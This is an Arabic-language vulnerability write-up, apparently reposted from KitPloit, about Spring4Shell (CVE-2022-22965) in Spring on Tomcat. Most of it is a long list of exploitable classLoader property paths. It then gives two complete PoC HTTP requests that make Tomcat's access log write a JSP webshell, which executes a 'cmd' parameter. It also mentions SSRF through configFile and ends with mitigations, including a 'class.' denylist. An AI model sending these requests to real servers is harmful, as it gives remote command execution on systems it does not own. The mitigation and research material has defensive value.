    class.module.classLoader.resources.context.authenticator.alwaysUseSession
    class.module.classLoader.resources.context.authenticator.asyncSupported
    class.module.classLoader.resources.context.authenticator.cache
    class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
    class.module.classLoader.resources.context.authenticator.container
    class.module.classLoader.resources.context.authenticator.disableProxyCaching
    class.module.classLoader.resources.context.authenticator.domain
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.securePagesWithPragma
    class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
    class.module.classLoader.resources.context.authenticator.secureRandomClass
    class.module.classLoader.resources.context.authenticator.secureRandomProvider
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.scanAllDirectories
    class.module.classLoader.resources.context.jarScanner.scanAllFiles
    class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
    class.module.classLoader.resources.context.jarScanner.scanClassPath
    class.module.classLoader.resources.context.jarScanner.scanManifest
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.loader.context
    class.module.classLoader.resources.context.loader.delegate
    class.module.classLoader.resources.context.loader.domain
    class.module.classLoader.resources.context.loader.loaderClass
    class.module.classLoader.resources.context.loader.reloadable
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.loginConfig.authMethod
    class.module.classLoader.resources.context.loginConfig.errorPage
    class.module.classLoader.resources.context.loginConfig.loginPage
    class.module.classLoader.resources.context.loginConfig.realmName
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.manager.context
    class.module.classLoader.resources.context.manager.domain
    class.module.classLoader.resources.context.manager.duplicates
    class.module.classLoader.resources.context.manager.expiredSessions
    class.module.classLoader.resources.context.manager.maxActive
    class.module.classLoader.resources.context.manager.maxActiveSessions
    class.module.classLoader.resources.context.manager.pathname
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.processingTime
    class.module.classLoader.resources.context.manager.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.secureRandomClass
    class.module.classLoader.resources.context.manager.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
    class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
    class.module.classLoader.resources.context.manager.sessionCounter
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionMaxAliveTime
    class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
    class.module.classLoader.resources.context.namingContextListener.name
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.namingResources.container
    class.module.classLoader.resources.context.namingResources.domain
    class.module.classLoader.resources.context.namingResources.transaction
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parent.appBase
    class.module.classLoader.resources.context.parent.autoDeploy
    class.module.classLoader.resources.context.parent.backgroundProcessorDelay
    class.module.classLoader.resources.context.parent.cluster
    class.module.classLoader.resources.context.parent.configClass
    class.module.classLoader.resources.context.parent.contextClass
    class.module.classLoader.resources.context.parent.copyXML
    class.module.classLoader.resources.context.parent.createDirs
    class.module.classLoader.resources.context.parent.deployIgnore
    class.module.classLoader.resources.context.parent.deployOnStartup
    class.module.classLoader.resources.context.parent.deployXML
    class.module.classLoader.resources.context.parent.domain
    class.module.classLoader.resources.context.parent.errorReportValveClass
    class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
    class.module.classLoader.resources.context.parent.name
    class.module.classLoader.resources.context.parent.parent
    class.module.classLoader.resources.context.parent.parentClassLoader
    class.module.classLoader.resources.context.parent.realm
    class.module.classLoader.resources.context.parent.startChildren
    class.module.classLoader.resources.context.parent.startStopThreads
    class.module.classLoader.resources.context.parent.undeployOldVersions
    class.module.classLoader.resources.context.parent.unpackWARs
    class.module.classLoader.resources.context.parent.workDir
    class.module.classLoader.resources.context.parent.xmlBase
    class.module.classLoader.resources.context.pipeline.basic
    class.module.classLoader.resources.context.pipeline.container
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.realm.allRolesMode
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.container
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.domain
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.realmPath
    class.module.classLoader.resources.context.realm.stripRealmForGss
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.realm.validate
    class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.next.asyncSupported
    class.module.classLoader.resources.context.authenticator.next.container
    class.module.classLoader.resources.context.authenticator.next.domain
    class.module.classLoader.resources.context.authenticator.next.next
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
    class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
    class.module.classLoader.resources.context.manager.engine.cluster
    class.module.classLoader.resources.context.manager.engine.defaultHost
    class.module.classLoader.resources.context.manager.engine.domain
    class.module.classLoader.resources.context.manager.engine.jvmRoute
    class.module.classLoader.resources.context.manager.engine.name
    class.module.classLoader.resources.context.manager.engine.parent
    class.module.classLoader.resources.context.manager.engine.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.realm
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.startChildren
    class.module.classLoader.resources.context.manager.engine.startStopThreads
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.container
    class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.credentialHandler.algorithm
    class.module.classLoader.resources.context.realm.credentialHandler.encoding
    class.module.classLoader.resources.context.realm.credentialHandler.iterations
    class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.container
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.service.container
    class.module.classLoader.resources.context.manager.engine.service.domain
    class.module.classLoader.resources.context.manager.engine.service.name
    class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.basic.container
    class.module.classLoader.resources.context.parent.pipeline.basic.domain
    class.module.classLoader.resources.context.parent.pipeline.basic.next
    class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.buffered
    class.module.classLoader.resources.context.parent.pipeline.first.checkExists
    class.module.classLoader.resources.context.parent.pipeline.first.condition
    class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
    class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
    class.module.classLoader.resources.context.parent.pipeline.first.container
    class.module.classLoader.resources.context.parent.pipeline.first.directory
    class.module.classLoader.resources.context.parent.pipeline.first.domain
    class.module.classLoader.resources.context.parent.pipeline.first.enabled
    class.module.classLoader.resources.context.parent.pipeline.first.encoding
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    class.module.classLoader.resources.context.parent.pipeline.first.locale
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.pattern
    class.module.classLoader.resources.context.parent.pipeline.first.prefix
    class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
    class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.first.rotatable
    class.module.classLoader.resources.context.parent.pipeline.first.suffix
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.engine.service.server.address
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
    class.module.classLoader.resources.context.manager.engine.service.server.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.port
    class.module.classLoader.resources.context.manager.engine.service.server.shutdown
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.next.container
    class.module.classLoader.resources.context.parent.pipeline.first.next.domain
    class.module.classLoader.resources.context.parent.pipeline.first.next.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
    class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
    class.module.classLoader.resources.context.manager.engine.service.server.port
    

    باستخدام class.module.classLoader.resources.context.parent.pipeline يمكن تعيين خصائص AccessLog، ثم يمكن الاستفادة من وظيفة كتابة السجلات لكتابة webshell، وPOC كما يلي: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E

    root@kitploit:~
    ![](https://assets.kitploit.com/production/public/readmes/35879/57f0473b7120c6732e1260bef21f012b5d14fdd93634f1b75f6405e3545a2cfb.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/49ca7c4815e7b41d943ebbc658df2adae6c094cbc449461fbd6e1a3f12ec1a03.png)
    
    أو استخدم رأس الطلب لتمرير قيمة pattern:
    
    * tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
    GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
    Host: 127.0.0.1:9999
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
    

    يمكنك أيضًا استغلال class.module.classLoader.resources.context.configFile لتنفيذ SSRF.

    الخصائص الأخرى القابلة للاستغلال تتطلب مزيدًا من الاطلاع على وظيفة كل خاصية.

    نقطة يجب الانتباه إليها هي أن تعديل الخصائص أعلاه قد يؤدي إلى إعادة تشغيل الخدمة، لذلك إذا كنت تختبر بنفسك فلا مشكلة، ولكن لا تستغل هذه الـ PoCs مباشرة في بيئة الإنتاج أبدًا، إلا إذا كنت مدركًا تمامًا ويمكنك تحمّل عواقب الاستغلال!!

    إصلاح الثغرة وتجنّبها

    في طريقة الإصلاح في الإصدارات الجديدة، هناك نقطتان رئيسيتان لمنع تجاوز المتغيرات:

    1. من خلال الإعداد العام لتعطيل ربط WebDataBinder للحقول المحددة عبر disallowFields:```java @ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
    root@kitploit:~
    لكن هذا الأسلوب القائم على القائمة السوداء قد يكون قابلاً للالتفاف؛ فهو مناسب للاستخدام المؤقت، لكنه ليس حلاً طويل الأمد؛
    
    2. في `CachedIntrospectionResults`، أُضيف تحقق عند الحصول على `beaninfo`، بحيث يُسمح فقط بمتغير `name` الخاص بفئة `Class`:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/dc44c04cdc51c71f135c2eab8b3d8e7b6101a60a44a1a7f39a6e71a39ac543a4.png)
    
    **تدابير تجنّب أخرى:**
    
    1. تضمّنت الإصدارات الأحدث من tomcat أيضاً تجنّباً للثغرة؛ في البداية استُخدم إصدار tomcat 8.5.78 ولم تظهر الثغرة، ومن خلال التصحيح تبيّن أنه عند استخدام `class.module.classLoader.resources` في هذا الإصدار من tomcat يكون `resources` الذي يتم الحصول عليه فارغاً، مما يجعل الاستغلال غير ممكن؛ لذا فإن ترقية إصدار tomcat يمكنها أيضاً تجنّب هذه الثغرة؛
    2. الإصدارات jdk9 وما دونها غير متأثرة بهذه الثغرة.
    
    تنزيل الأداة